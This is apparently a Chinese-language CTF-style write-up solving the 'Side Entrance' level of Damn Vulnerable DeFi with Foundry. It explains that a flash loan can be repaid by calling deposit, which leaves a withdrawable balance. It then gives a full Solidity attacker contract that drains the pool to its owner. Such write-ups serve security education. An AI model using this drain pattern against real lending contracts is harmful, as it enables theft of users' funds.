为了系统的学习solidity和foundry,我基于foundry测试框架重新编写damnvulnerable-defi的题解,欢迎交流和共建~🎉
本题的攻克点在于deposit+withdraw,可以先通过闪电贷获得eth,再调用deposit获得凭证,再结束闪电贷后通过withdraw提取出eth,整体流程图如下所示:
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
因此在攻击合约中需要实现execute
方法,做的工作就是进行deposit,从而完成闪电贷还款,还多记录了一份存款凭证合约代码如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/side-entrance/SideEntranceLenderPool.sol";
contract Attacker {
SideEntranceLenderPool pool;
address owner;
constructor(address _pool){
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
receive() external payable {
payable(owner).transfer(msg.value);
}
function attack(uint256 amount) external payable{
pool.flashLoan(amount);
}
function execute() external payable{
uint256 value = msg.value;
// deposit
pool.deposit{value: value}();
}
function withdraw() external{
pool.withdraw();
}
}